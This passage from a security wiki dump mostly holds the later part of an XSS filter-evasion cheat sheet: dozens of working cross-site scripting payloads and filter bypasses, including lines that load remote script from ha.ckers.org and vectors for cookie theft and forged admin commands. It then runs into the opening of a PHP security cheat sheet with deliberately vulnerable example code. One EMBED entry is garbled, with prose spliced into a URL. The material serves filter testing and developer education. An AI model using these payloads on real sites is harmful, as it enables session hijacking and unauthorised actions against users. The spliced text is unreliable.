# <code>onDragLeave()</code> (requires that the user drags an object off a valid location)
# <code>onDragEnter()</code> (requires that the user drags an object into a valid location)
# <code>onDragOver()</code> (requires that the user drags an object into a valid location)
# <code>onDragDrop()</code> (user drops an object (e.g. file) onto the browser window)
# <code>onDragStart()</code> (occurs when user starts drag operation)
# <code>onDrop()</code> (user drops an object (e.g. file) onto the browser window)
# <code>onEnd()</code> (the onEnd event fires when the timeline ends.
# <code>onError()</code> (loading of a document or image causes an error)
# <code>onErrorUpdate()</code> (fires on a databound object when an error occurs while updating the associated data in the data source object)
# <code>onFilterChange()</code> (fires when a visual filter completes state change)
# <code>onFinish()</code> (attacker can create the exploit when marquee is finished looping)
# <code>onFocus()</code> (attacker executes the attack string when the window gets focus)
# <code>onFocusIn()</code> (attacker executes the attack string when window gets focus)
# <code>onFocusOut()</code> (attacker executes the attack string when window looses focus)
# <code>onHashChange()</code> (fires when the fragment identifier part of the document's current address changed)
# <code>onHelp()</code> (attacker executes the attack string when users hits F1 while the window is in focus)
# <code>onInput()</code> (the text content of an element is changed through the user interface)
# <code>onKeyDown()</code> (user depresses a key)
# <code>onKeyPress()</code> (user presses or holds down a key)
# <code>onKeyUp()</code> (user releases a key)
# <code>onLayoutComplete()</code> (user would have to print or print preview)
# <code>onLoad()</code> (attacker executes the attack string after the window loads)
# <code>onLoseCapture()</code> (can be exploited by the <code>releaseCapture()</code> method)
# <code>onMediaComplete()</code> (When a streaming media file is used, this event could fire before the file starts playing)
# <code>onMediaError()</code> (User opens a page in the browser that contains a media file, and the event fires when there is a problem)
# <code>onMessage()</code> (fire when the document received a message)
# <code>onMouseDown()</code> (the attacker would need to get the user to click on an image)
# <code>onMouseEnter()</code> (cursor moves over an object or area)
# <code>onMouseLeave()</code> (the attacker would need to get the user to mouse over an image or table and then off again)
# <code>onMouseMove()</code> (the attacker would need to get the user to mouse over an image or table)
# <code>onMouseOut()</code> (the attacker would need to get the user to mouse over an image or table and then off again)
# <code>onMouseOver()</code> (cursor moves over an object or area)
# <code>onMouseUp()</code> (the attacker would need to get the user to click on an image)
# <code>onMouseWheel()</code> (the attacker would need to get the user to use their mouse wheel)
# <code>onMove()</code> (user or attacker would move the page)
# <code>onMoveEnd()</code> (user or attacker would move the page)
# <code>onMoveStart()</code> (user or attacker would move the page)
# <code>onOffline()</code> (occurs if the browser is working in online mode and it starts to work offline)
# <code>onOnline()</code> (occurs if the browser is working in offline mode and it starts to work online)
# <code>onOutOfSync()</code> (interrupt the element's ability to play its media as defined by the timeline)
# <code>onPaste()</code> (user would need to paste or attacker could use the <code>execCommand("Paste")</code> function)
# <code>onPause()</code> (the onpause event fires on every element that is active when the timeline pauses, including the body element)
# <code>onPopState()</code> (fires when user navigated the session history)
# <code>onProgress()</code> (attacker would use this as a flash movie was loading)
# <code>onPropertyChange()</code> (user or attacker would need to change an element property)
# <code>onReadyStateChange()</code> (user or attacker would need to change an element property)
# <code>onRedo()</code> (user went forward in undo transaction history)
# <code>onRepeat()</code> (the event fires once for each repetition of the timeline, excluding the first full cycle)
# <code>onReset()</code> (user or attacker resets a form)
# <code>onResize()</code> (user would resize the window; attacker could auto initialize with something like: <code><SCRIPT>self.resizeTo(500,400);</SCRIPT></code>)
# <code>onResizeEnd()</code> (user would resize the window; attacker could auto initialize with something like: <code><SCRIPT>self.resizeTo(500,400);</SCRIPT></code>)
# <code>onResizeStart()</code> (user would resize the window; attacker could auto initialize with something like: <code><SCRIPT>self.resizeTo(500,400);</SCRIPT></code>)
# <code>onResume()</code> (the onresume event fires on every element that becomes active when the timeline resumes, including the body element)
# <code>onReverse()</code> (if the element has a repeatCount greater than one, this event fires every time the timeline begins to play backward)
# <code>onRowsEnter()</code> (user or attacker would need to change a row in a data source)
# <code>onRowExit()</code> (user or attacker would need to change a row in a data source)
# <code>onRowDelete()</code> (user or attacker would need to delete a row in a data source)
# <code>onRowInserted()</code> (user or attacker would need to insert a row in a data source)
# <code>onScroll()</code> (user would need to scroll, or attacker could use the <code>scrollBy()</code> function)
# <code>onSeek()</code> (the onreverse event fires when the timeline is set to play in any direction other than forward)
# <code>onSelect()</code> (user needs to select some text - attacker could auto initialize with something like: <code>window.document.execCommand("SelectAll");</code>)
# <code>onSelectionChange()</code> (user needs to select some text - attacker could auto initialize with something like: <code>window.document.execCommand("SelectAll");</code>)
# <code>onSelectStart()</code> (user needs to select some text - attacker could auto initialize with something like: <code>window.document.execCommand("SelectAll");</code>)
# <code>onStart()</code> (fires at the beginning of each marquee loop)
# <code>onStop()</code> (user would need to press the stop button or leave the webpage)
# <code>onStorage()</code> (storage area changed)
# <code>onSyncRestored()</code> (user interrupts the element's ability to play its media as defined by the timeline to fire)
# <code>onSubmit()</code> (requires attacker or user submits a form)
# <code>onTimeError()</code> (user or attacker sets a time property, such as dur, to an invalid value)
# <code>onTrackChange()</code> (user or attacker changes track in a playList)
# <code>onUndo()</code> (user went backward in undo transaction history)
# <code>onUnload()</code> (as the user clicks any link or presses the back button or attacker forces a click)
# <code>onURLFlip()</code> (this event fires when an Advanced Streaming Format (ASF) file, played by a HTML+TIME (Timed Interactive Multimedia Extensions) media tag, processes script commands embedded in the ASF file)
# <code>seekSegmentTime()</code> (this is a method that locates the specified point on the element's segment time line and begins playing from that point. The segment consists of one repetition of the time line including reverse play using the AUTOREVERSE attribute.)

== BGSOUND ==
<BGSOUND SRC="javascript:alert('XSS');">

== & JavaScript includes ==
<nowiki><BR SIZE="&{alert('XSS')}"></nowiki>
== STYLE sheet ==
<LINK REL="stylesheet" HREF="javascript:alert('XSS');">

== Remote style sheet ==
(using something as simple as a remote style sheet you can include your XSS as the style parameter can be redefined using an embedded expression.) This only works in IE and Netscape 8.1+ in IE rendering engine mode. Notice that there is nothing on the page to show that there is included JavaScript. Note: With all of these remote style sheet examples they use the body tag, so it won't work unless there is some content on the page other than the vector itself, so you'll need to add a single letter to the page to make it work if it's an otherwise blank page:
<nowiki><LINK REL="stylesheet" HREF="http://ha.ckers.org/xss.css"></nowiki>

== Remote style sheet part 2 ==
This works the same as above, but uses a <STYLE> tag instead of a <LINK> tag). A slight variation on this vector was used to hack Google Desktop. As a side note, you can remove the end </STYLE> tag if there is HTML immediately after the vector to close it. This is useful if you cannot have either an equals sign or a slash in your cross site scripting attack, which has come up at least once in the real world:

<nowiki><STYLE>@import'http://ha.ckers.org/xss.css';</STYLE></nowiki>

== Remote style sheet part 3 ==
This only works in Opera 8.0 (no longer in 9.x) but is fairly tricky. According to RFC2616 setting a link header is not part of the HTTP1.1 spec, however some browsers still allow it (like Firefox and Opera). The trick here is that I am setting a header (which is basically no different than in the HTTP header saying Link: <nowiki><http://ha.ckers.org/xss.css>; REL=stylesheet)</nowiki> and the remote style sheet with my cross site scripting vector is running the JavaScript, which is not supported in FireFox:

<nowiki><META HTTP-EQUIV="Link" Content="<http://ha.ckers.org/xss.css>; REL=stylesheet"></nowiki>

== Remote style sheet part 4 ==
This only works in Gecko rendering engines and works by binding an XUL file to the parent page. I think the irony here is that Netscape assumes that Gecko is safer and therefor is vulnerable to this for the vast majority of sites:
<nowiki><STYLE>BODY{-moz-binding:url("http://ha.ckers.org/xssmoz.xml#xss")}</STYLE></nowiki>

== STYLE tags with broken up JavaScript for XSS ==
This XSS at times sends IE into an infinite loop of alerts:
<nowiki><STYLE>@im\port'\ja\vasc\ript:alert("XSS")';</STYLE></nowiki>

== STYLE attribute using a comment to break up expression ==
Created by Roman Ivanov
<nowiki><IMG STYLE="xss:expr/*XSS*/ession(alert('XSS'))"></nowiki>

== IMG STYLE with expression ==
This is really a hybrid of the above XSS vectors, but it really does show how hard STYLE tags can be to parse apart, like above this can send IE into a loop:
<nowiki>exp/*<A STYLE='no\xss:noxss("*//*");
xss:ex/*XSS*//*/*/pression(alert("XSS"))'></nowiki>

== STYLE tag (Older versions of Netscape only)==
<nowiki><STYLE TYPE="text/javascript">alert('XSS');</STYLE></nowiki>

== STYLE tag using background-image ==
<nowiki><STYLE>.XSS{background-image:url("javascript:alert('XSS')");}</STYLE><A CLASS=XSS></A></nowiki>

== STYLE tag using background ==
<nowiki><STYLE type="text/css">BODY{background:url("javascript:alert('XSS')")}</STYLE></nowiki>
<STYLE type="text/css">BODY{background:url("javascript:alert('XSS')")}</STYLE>

== Anonymous HTML with STYLE attribute ==
IE6.0 and Netscape 8.1+ in IE rendering engine mode don't really care if the HTML tag you build exists or not, as long as it starts with an open angle bracket and a letter:
<nowiki><XSS STYLE="xss:expression(alert('XSS'))"></nowiki>

== Local htc file ==
This is a little different than the above two cross site scripting vectors because it uses an .htc file which must be on the same server as the XSS vector. The example file works by pulling in the JavaScript and running it as part of the style attribute:
<XSS STYLE="behavior: url(xss.htc);">

== US-ASCII encoding ==
US-ASCII encoding (found by Kurt Huwig).This uses malformed ASCII encoding with 7 bits instead of 8. This XSS may bypass many content filters but only works if the host transmits in US-ASCII encoding, or if you set the encoding yourself. This is more useful against web application firewall cross site scripting evasion than it is server side filter evasion. Apache Tomcat is the only known server that transmits in US-ASCII encoding.

¼script¾alert(¢XSS¢)¼/script¾

== META ==
The odd thing about meta refresh is that it doesn't send a referrer in the header - so it can be used for certain types of attacks where you need to get rid of referring URLs:

<nowiki><META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert('XSS');"></nowiki>

=== META using data ===
Directive URL scheme. This is nice because it also doesn't have anything visibly that has the word SCRIPT or the JavaScript directive in it, because it utilizes base64 encoding. Please see RFC 2397 for more details or go here or here to encode your own. You can also use the XSS [http://ha.ckers.org/xsscalc.html calculator] below if you just want to encode raw HTML or JavaScript as it has a Base64 encoding method:

<nowiki><META HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K"></nowiki>

=== META with additional URL parameter ===
If the target website attempts to see if the URL contains "http://" at the beginning you can evade it with the following technique (Submitted by Moritz Naumann):

<nowiki><META HTTP-EQUIV="refresh" CONTENT="0; URL=http://;URL=javascript:alert('XSS');"></nowiki>

== IFRAME ==
If iframes are allowed there are a lot of other XSS problems as well:
<nowiki><IFRAME SRC="javascript:alert('XSS');"></IFRAME></nowiki>

== IFRAME Event based ==
IFrames and most other elements can use event based mayhem like the following...
(Submitted by: David Cross)
<nowiki><IFRAME SRC=# onmouseover="alert(document.cookie)"></IFRAME></nowiki>

== FRAME ==
Frames have the same sorts of XSS problems as iframes
<nowiki><FRAMESET><FRAME SRC="javascript:alert('XSS');"></FRAMESET></nowiki>

== TABLE ==
<nowiki><TABLE BACKGROUND="javascript:alert('XSS')"></nowiki>

=== TD ===
Just like above, TD's are vulnerable to BACKGROUNDs containing JavaScript XSS vectors:
<nowiki><TABLE><TD BACKGROUND="javascript:alert('XSS')"></nowiki>

== DIV ==

=== DIV background-image===
<nowiki><DIV STYLE="background-image: url(javascript:alert('XSS'))"></nowiki>

=== DIV background-image with unicoded XSS exploit ===
This has been modified slightly to obfuscate the url parameter. The original vulnerability was found by Renaud Lifchitz as a vulnerability in Hotmail:

<DIV STYLE="background-image:\0075\0072\006C\0028'\006a\0061\0076\0061\0073\0063\0072\0069\0070\0074\003a\0061\006c\0065\0072\0074\0028.1027\0058.1053\0053\0027\0029'\0029">

=== DIV background-image plus extra characters ===
Rnaske built a quick XSS fuzzer to detect any erroneous characters that are allowed after the open parenthesis but before the JavaScript directive in IE and Netscape 8.1 in secure site mode. These are in decimal but you can include hex and add padding of course. (Any of the following chars can be used: 1-32, 34, 39, 160, 8192-8.13, 12288, 65279):

<nowiki><DIV STYLE="background-image: url(javascript:alert('XSS'))"></nowiki>

=== DIV expression ===
A variant of this was effective against a real world cross site scripting filter using a newline between the colon and "expression":
<nowiki><DIV STYLE="width: expression(alert('XSS'));"></nowiki>

== Downlevel-Hidden block ==
Only works in IE5.0 and later and Netscape 8.1 in IE rendering engine mode). Some websites consider anything inside a comment block to be safe and therefore does not need to be removed, which allows our Cross Site Scripting vector. Or the system could add comment tags around something to attempt to render it harmless. As we can see, that probably wouldn't do the job:

<nowiki></nowiki>

== BASE tag ==
Works in IE and Netscape 8.1 in safe mode. You need the // to comment out the next characters so you won't get a JavaScript error and your XSS tag will render. Also, this relies on the fact that the website uses dynamically placed images like "images/image.jpg" rather than full paths. If the path includes a leading forward slash like "/images/image.jpg" you can remove one slash from this vector (as long as there are two to begin the comment this will work):
<nowiki><BASE HREF="javascript:alert('XSS');//"></nowiki>

== OBJECT tag ==
If they allow objects, you can also inject virus payloads to infect the users, etc. and same with the APPLET tag). The linked file is actually an HTML file that can contain your XSS:

<nowiki><OBJECT TYPE="text/x-scriptlet" DATA="http://ha.ckers.org/scriptlet.html"></OBJECT></nowiki>

== Using an EMBED tag you can embed a Flash movie that contains XSS ==
Click here for a demo. If you add the attributes allowScriptAccess="never" and allownetworking="internal" it can mitigate this risk (thank you to Jonathan Vanasco for the info).:
<nowiki>EMBED SRC="http://ha.ckers.Using an EMBED tag you can embed a Flash movie that contains XSS. Click here for a demo. If you add the attributes allowScriptAccess="never" and allownetworking="internal" it can mitigate this risk (thank you to Jonathan Vanasco for the info).:
org/xss.swf" AllowScriptAccess="always"></EMBED></nowiki>

== You can EMBED SVG which can contain your XSS vector ==
This example only works in Firefox, but it's better than the above vector in Firefox because it does not require the user to have Flash turned on or installed. Thanks to nEUrOO for this one.
<nowiki><EMBED SRC="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==" type="image/svg+xml" AllowScriptAccess="always"></EMBED></nowiki>

== Using ActionScript inside flash can obfuscate your XSS vector ==

<nowiki>a="get";
b="URL(\"";
c="javascript:";
d="alert('XSS');\")";
eval(a+b+c+d);</nowiki>

== XML data island with CDATA obfuscation ==
This XSS attack works only in IE and Netscape 8.1 in IE rendering engine mode) - vector found by Sec Consult while auditing Yahoo:

<nowiki><XML ID="xss"><I><B><IMG SRC="javascript:alert('XSS')"></B></I></XML>
<SPAN DATASRC="#xss" DATAFLD="B" DATAFORMATAS="HTML"></SPAN></nowiki>

== Locally hosted XML with embedded JavaScript that is generated using an XML data island ==
This is the same as above but instead referrs to a locally hosted (must be on the same server) XML file that contains your cross site scripting vector. You can see the result here:

<nowiki><XML SRC="xsstest.xml" ID=I></XML>
<SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN></nowiki>

== HTML+TIME in XML ==
This is how Grey Magic hacked Hotmail and Yahoo!. This only works in Internet Explorer and Netscape 8.1 in IE rendering engine mode and remember that you need to be between HTML and BODY tags for this to work:
<nowiki><HTML><BODY>
<?xml:namespace prefix="t" ns="urn:schemas-microsoft-com:time">
<?import namespace="t" implementation="#default#time2">
<t:set attributeName="innerHTML" to="XSS<SCRIPT DEFER>alert("XSS")</SCRIPT>">
</BODY></HTML></nowiki>

== Assuming you can only fit in a few characters and it filters against ".js" ==
you can rename your JavaScript file to an image as an XSS vector:
<nowiki><SCRIPT SRC="http://ha.ckers.org/xss.jpg"></SCRIPT></nowiki>

== SSI (Server Side Includes)==
This requires SSI to be installed on the server to use this XSS vector. I probably don't need to mention this, but if you can run commands on the server there are no doubt much more serious issues:
<nowiki></nowiki>

== PHP ==
Requires PHP to be installed on the server to use this XSS vector. Again, if you can run any scripts remotely like this, there are probably much more dire issues:

<nowiki><? echo('<SCR)';
echo('IPT>alert("XSS")</SCRIPT>'); ?></nowiki>

== IMG Embedded commands ==
This works when the webpage where this is injected (like a web-board) is behind password protection and that password protection works with other commands on the same domain. This can be used to delete users, add users (if the user who visits the page is an administrator), send credentials elsewhere, etc.... This is one of the lesser used but more useful XSS vectors:
<nowiki><IMG SRC="http://www.thesiteyouareon.com/somecommand.php?somevariables=maliciouscode"></nowiki>

=== IMG Embedded commands part II ===
This is more scary because there are absolutely no identifiers that make it look suspicious other than it is not hosted on your own domain. The vector uses a 302 or 304 (others work too) to redirect the image back to a command. So a normal <IMG SRC="http://badguy.com/a.jpg"> could actually be an attack vector to run commands as the user who views the image link. Here is the .htaccess (under Apache) line to accomplish the vector (thanks to Timo for part of this):

<nowiki>Redirect 302 /a.jpg http://victimsite.com/admin.asp&deleteuser</nowiki>

== Cookie manipulation ==
Admittidly this is pretty obscure but I have seen a few examples where <META is allowed and you can use it to overwrite cookies. There are other examples of sites where instead of fetching the username from a database it is stored inside of a cookie to be displayed only to the user who visits the page. With these two scenarios combined you can modify the victim's cookie which will be displayed back to them as JavaScript (you can also use this to log people out or change their user states, get them to log in as you, etc...):

<nowiki><META HTTP-EQUIV="Set-Cookie" Content="USERID=<SCRIPT>alert('XSS')</SCRIPT>"></nowiki>

== UTF-7 encoding ==
If the page that the XSS resides on doesn't provide a page charset header, or any browser that is set to UTF-7 encoding can be exploited with the following (Thanks to Roman Ivanov for this one). Click here for an example (you don't need the charset statement if the user's browser is set to auto-detect and there is no overriding content-types on the page in Internet Explorer and Netscape 8.1 in IE rendering engine mode). This does not work in any modern browser without changing the encoding type which is why it is marked as completely unsupported. Watchfire found this hole in Google's custom 404 script.:
<nowiki><HEAD><META HTTP-EQUIV="CONTENT-TYPE" CONTENT="text/html; charset=UTF-7"> </HEAD>+ADw-SCRIPT+AD4-alert('XSS');+ADw-/SCRIPT+AD4-</nowiki>

== XSS using HTML quote encapsulation ==
This was tested in IE, your mileage may vary. For performing XSS on sites that allow "<SCRIPT>" but don't allow "<SCRIPT SRC..." by way of a regex filter "/<script[^>]+src/i":
<nowiki><SCRIPT a=">" SRC="http://ha.ckers.org/xss.js"></SCRIPT></nowiki>

For performing XSS on sites that allow "<SCRIPT>" but don't allow "<script src..." by way of a regex filter "/<script((\s+\w+(\s*=\s*(?:"(.)*?"|'(.)*?'|[^'">\s]+))?)+\s*|\s*)src/i" (this is an important one, because I've seen this regex in the wild):
<nowiki><SCRIPT =">" SRC="http://ha.ckers.org/xss.js"></SCRIPT></nowiki>

Another XSS to evade the same filter, "/<script((\s+\w+(\s*=\s*(?:"(.)*?"|'(.)*?'|[^'">\s]+))?)+\s*|\s*)src/i":

<nowiki><SCRIPT a=">" '' SRC="http://ha.ckers.org/xss.js"></SCRIPT></nowiki>

Yet another XSS to evade the same filter, "/<script((\s+\w+(\s*=\s*(?:"(.)*?"|'(.)*?'|[^'">\s]+))?)+\s*|\s*)src/i". I know I said I wasn't goint to discuss mitigation techniques but the only thing I've seen work for this XSS example if you still want to allow <SCRIPT> tags but not remote script is a state machine (and of course there are other ways to get around this if they allow <SCRIPT> tags):
<nowiki><SCRIPT "a='>'" SRC="http://ha.ckers.org/xss.js"></SCRIPT></nowiki>

And one last XSS attack to evade, "/<script((\s+\w+(\s*=\s*(?:"(.)*?"|'(.)*?'|[^'">\s]+))?)+\s*|\s*)src/i" using grave accents (again, doesn't work in Firefox):
<nowiki><SCRIPT a=`>` SRC="http://ha.ckers.org/xss.js"></SCRIPT></nowiki>

Here's an XSS example that bets on the fact that the regex won't catch a matching pair of quotes but will rather find any quotes to terminate a parameter string improperly:
<nowiki><SCRIPT a=">'>" SRC="http://ha.ckers.org/xss.js"></SCRIPT></nowiki>

This XSS still worries me, as it would be nearly impossible to stop this without blocking all active content:

<nowiki><SCRIPT>document.write("<SCRI");</SCRIPT>PT SRC="http://ha.ckers.org/xss.js"></SCRIPT></nowiki>

== URL string evasion ==
Assuming "http://www.google.com/" is pro grammatically disallowed:

=== IP verses hostname ===
<nowiki><A HREF="http://66.102.7.147/">XSS</A></nowiki>

=== URL encoding ===
<nowiki><A HREF="http://%77%77%77%2E%67%6F%6F%67%6C%65%2E%63%6F%6D">XSS</A></nowiki>

=== Dword encoding ===
(Note: there are other of variations of Dword encoding - see the IP Obfuscation calculator below for more details):
<nowiki><A HREF="http://1113982867/">XSS</A></nowiki>

=== Hex encoding ===
The total size of each number allowed is somewhere in the neighborhood of 240 total characters as you can see on the second digit, and since the hex number is between 0 and F the leading zero on the third hex quotet is not required):
<nowiki><A HREF="http://0x42.0x0000066.0x7.0x93/">XSS</A></nowiki>

=== Octal encoding ===
Again padding is allowed, although you must keep it above 4 total characters per class - as in class A, class B, etc...:
<nowiki><A HREF="http://0102.0146.0007.00000223/">XSS</A></nowiki>

=== Mixed encoding ===
Let's mix and match base encoding and throw in some tabs and newlines - why browsers allow this, I'll never know). The tabs and newlines only work if this is encapsulated with quotes:

<nowiki><A HREF="h
tt p://6	6.000146.0x7.147/">XSS</A></nowiki>

=== Protocol resolution bypass ===
(// translates to http:// which saves a few more bytes). This is really handy when space is an issue too (two less characters can go a long way) and can easily bypass regex like "(ht|f)tp(s)?://" (thanks to Ozh for part of this one). You can also change the "//" to "\\". You do need to keep the slashes in place, however, otherwise this will be interpreted as a relative path URL.
<nowiki><A HREF="//www.google.com/">XSS</A></nowiki>

=== Google "feeling lucky" part 1. ===
Firefox uses Google's "feeling lucky" function to redirect the user to any keywords you type in. So if your exploitable page is the top for some random keyword (as you see here) you can use that feature against any Firefox user. This uses Firefox's "keyword:" protocol. You can concatinate several keywords by using something like the following "keyword:XSS+RSnake" for instance. This no longer works within Firefox as of 2.0.

<nowiki><A HREF="//google">XSS</A></nowiki>

=== Google "feeling lucky" part 2.===
This uses a very tiny trick that appears to work Firefox only, because if it's implementation of the "feeling lucky" function. Unlike the next one this does not work in Opera because Opera believes that this is the old HTTP Basic Auth phishing attack, which it is not. It's simply a malformed URL. If you click okay on the dialogue it will work, but as a result of the erroneous dialogue box I am saying that this is not supported in Opera, and it is no longer supported in Firefox as of 2.0:
<nowiki><A HREF="http://ha.ckers.org@google">XSS</A></nowiki>

=== Google "feeling lucky" part 3. ===
This uses a malformed URL that appears to work in Firefox and Opera only, because if their implementation of the "feeling lucky" function. Like all of the above it requires that you are #1 in Google for the keyword in question (in this case "google"):
<nowiki><A HREF="http://google:ha.ckers.org">XSS</A></nowiki>

=== Removing cnames ===
When combined with the above URL, removing "www." will save an additional 4 bytes for a total byte savings of 9 for servers that have this set up properly):
<nowiki><A HREF="http://google.com/">XSS</A></nowiki>

=== Extra dot for absolute DNS:===
<nowiki><A HREF="http://www.google.com./">XSS</A></nowiki>

=== JavaScript link location: ===
<nowiki><A HREF="javascript:document.location='http://www.google.com/'">XSS</A></nowiki>

=== Content replace as attack vector ===
Assuming "http://www.google.com/" is programmatically replaced with nothing). I actually used a similar attack vector against a several separate real world XSS filters by using the conversion filter itself (here is an example) to help create the attack vector (IE: "java&#x09;script:" was converted into "java	script:", which renders in IE, Netscape 8.1+ in secure site mode and Opera):
<nowiki><A HREF="http://www.gohttp://www.google.com/ogle.com/">XSS</A></nowiki>

== Character escape sequences ==
All the possible combinations of the character "<" in HTML and JavaScript. Most of these won't render out of the box, but many of them can get rendered in certain circumstances as seen above.

<
%3C
&lt
&lt;
&LT
&LT;
&#60
&#060
&#0060
&#00060
&#000060
&#0000060
&#60;
&#060;
&#0060;
&#00060;
&#000060;
&#0000060;
&#x3c
&#x03c
&#x003c
&#x0003c
&#x00003c
&#x000003c
&#x3c;
&#x03c;
&#x003c;
&#x0003c;
&#x00003c;
&#x000003c;
&#X3c
&#X03c
&#X003c
&#X0003c
&#X00003c
&#X000003c
&#X3c;
&#X03c;
&#X003c;
&#X0003c;
&#X00003c;
&#X000003c;
&#x3C
&#x03C
&#x003C
&#x0003C
&#x00003C
&#x000003C
&#x3C;
&#x03C;
&#x003C;
&#x0003C;
&#x00003C;
&#x000003C;
&#X3C
&#X03C
&#X003C
&#X0003C
&#X00003C
&#X000003C
&#X3C;
&#X03C;
&#X003C;
&#X0003C;
&#X00003C;
&#X000003C;
\x3c
\x3C
\u003c
\u003C

= Character Encoding and IP Obfuscation Calculators =

This following links include calculators for doing basic transformation functions that are useful for XSS.

[http://ha.ckers.org/xsscalc.html http://ha.ckers.org/xsscalc.html]

= Authors and Primary Editors =

Robert "RSnake" Hansen

= Other Cheatsheets =

{{Cheatsheet_Navigation_Body}}
[[Category:Cheatsheets]]
[[Category:Popular]]
[[Category:OWASP_Breakers]]
{{TOC hidden}}

PHP Security Cheat Sheet

2014-10-30T08:41:40Z

Luke Plant: /* Unhelpful builtins */

= Introduction =
This page intends to provide basic PHP security tips for developers and administrators. Keep in mind that tips mentioned in this page may not be sufficient for securing your web application.

==PHP overview==

PHP is the most commonly used server-side programming language, with 81.8% of web servers deploying it, according to W3 Techs.

An open source technology, PHP is unusual in that it is both a language ''and'' a web framework, with typical web framework features built-in to the language. Like all web languages, there is also a large community of libraries etc. that contribute to the security (or otherwise) of programming in PHP. All three aspects (language, framework, and libraries) need to be taken into consideration when trying to secure a PHP site.

Serious issues abound in all aspects of PHP, making it difficult to write secure PHP applications. If you’re forced to use PHP, then you must be aware of all its pitfalls.

===Language issues===

====Weak typing====

PHP is weakly typed, which means that it will automatically convert data of an incorrect type into the expected type. This feature very often masks errors by the developer or injections of unexpected data, leading to vulnerabilities (see “Input handling” below for an example).

Try to use functions and operators that do not do implicit type conversions (e.g. <code>===</code> and not <code>==</code>). Not all operators have strict versions (for example greater than and less than), and many built-in functions (like <code>in_array</code>) use weakly typed comparison functions by default, making it difficult to write correct code.

====Exceptions and error handling====

Almost all PHP builtins, and many PHP libraries, do not use exceptions, but instead report errors in other ways (such as via notices) that allow the faulty code to carry on running. This has the effect of masking many bugs. In many other languages, and most high level languages that compete with PHP, error conditions that are caused by developer errors, or runtime errors that the developer has failed to anticipate, will cause the program to stop running, which is the safest thing to do.

Consider the following code which attempts to limit access to a certain function using a database query that checks to see if the username is on a black list:

$db_link = mysqli_connect('localhost', 'dbuser', 'dbpassword', 'dbname');

function can_access_feature($current_user) {
global $db_link;
$username = mysqli_real_escape_string($db_link, $current_user->username);
$res = mysqli_query($db_link, "SELECT COUNT(id) FROM blacklisted_users WHERE username = '$username';");
$row = mysqli_fetch_array($res);
if ((int)$row[0] > 0) {
return false;
} else {
return true;
}
}

if (!can_access_feature($current_user)) {
exit();
}

// Code for feature here

There are various runtime errors that could occur in this - for example, the database connection could fail, due to a wrong password or the server being down etc., or the connection could be closed by the server after it was opened client side. In these cases, by default the <code>mysqli_</code> functions will issue warnings or notices, but will not throw exceptions or fatal errors. This means that the code simply carries on! The variable <code>$row</code> becomes <code>NULL</code>, and PHP will evaluate <code>$row[0]</code> also as <code>NULL</code>, and <code>(int)$row[0]</code> as <code>0</code>, due to weak typing. Eventually the <code>can_access_feature</code> function returns <code>true</code>, giving access to all users, whether they are on the blacklist or not.

The correct way to deal with this is to add error checking at every point. However, since this requires additional work, and is easily missed, this is insecure by default. It also requires a lot of boilerplate. While PHP in some ways appears to be a high-level language, when it comes to errors it is a low-level language like C, and requires diligent checking of many possibly error conditions. This makes it much harder to write secure code using PHP than with other high-level languages that are normally used for web development.

It is often best to turn up error reporting as high as possible using the
[http://www.php.net/manual/en/function.error-reporting.php error_reporting] function, and never attempt to suppress error messages — always follow the warnings and write code that is more robust.

====php.ini====

The behaviour of PHP code often depends strongly on the values of many configuration settings, including fundamental changes to things like how errors are handled. This can make it very difficult to write code that works correctly in all circumstances. Different libraries can have different expectations or requirements about these settings, making it difficult to correctly use 3rd party code. Some are mentioned below under “Configuration.”

====Unhelpful builtins====

PHP comes with many built-in functions, such as <code>addslashes</code>, <code>mysql_escape_string</code> and
<code>mysql_real_escape_string</code>, that appear to provide security, but are often buggy and, in fact, are unhelpful ways to deal with security problems.

Some of these built-ins are being deprecated and removed, but due to backwards compatibility policies this takes a long time.

PHP also provides an 'array' data structure, which is used extensively in all PHP code and internally, that is a confusing mix between an array and a dictionary. This confusion can cause even experienced PHP developers to introduce critical security vulnerabilities such as [https://www.drupal.org/SA-CORE-2014-005 Drupal SA-CORE-2014-005] (see [http://cgit.drupalcode.org/drupal/commit/?id=26a7752c34321fd9cb889308f507ca6bdb777f08 the patch]).

===Framework issues===

====URL routing====

PHP’s built-in URL routing mechanism is to use files ending in “.php” in the directory structure. This opens up several vulnerabilities:

* Remote execution vulnerability for every file upload feature that does not sanitise the filename. Ensure that when saving uploaded files, the content and filename are appropriately sanitised.

* Source code, including config files, are stored in publicly accessible directories along with files that are meant to be downloaded (such as static assets). Misconfiguration (or lack of configuration) can mean that source code or config files that contain secret information can be downloaded by attackers. You can use <code>.htaccess</code> to limit access. This is not ideal, because it is insecure by default, but there is no other alternative.

====Input handling====

Instead of treating HTTP input as simple strings, PHP will build arrays from HTTP input, at the control of the client. This can lead to confusion about data, and can easily lead to security bugs. For example, consider this simplified code from a "one time nonce" mechanism that might be used, for example in a password reset code:

$supplied_nonce = $_GET['nonce'];
$correct_nonce = get_correct_value_somehow();

if (strcmp($supplied_nonce, $correct_nonce) == 0) {
// Go ahead and reset the password
} else {
echo 'Sorry, incorrect link';
}

If an attacker uses a querystring like this:

http://example.com/?nonce[]=a

then we end up with <code>$supplied_nonce</code> being an array. The function <code>strcmp()</code> will then return <code>NULL</code> (instead of throwing an exception, which would be much more useful), and then, due to weak typing and the use of the <code>==</code> (equality) operator instead of the <code>===</code> (identity) operator, the comparison succeeds (since the expression <code>NULL == 0</code> is true according to PHP), and the attacker will be able to reset the password without providing a correct nonce.

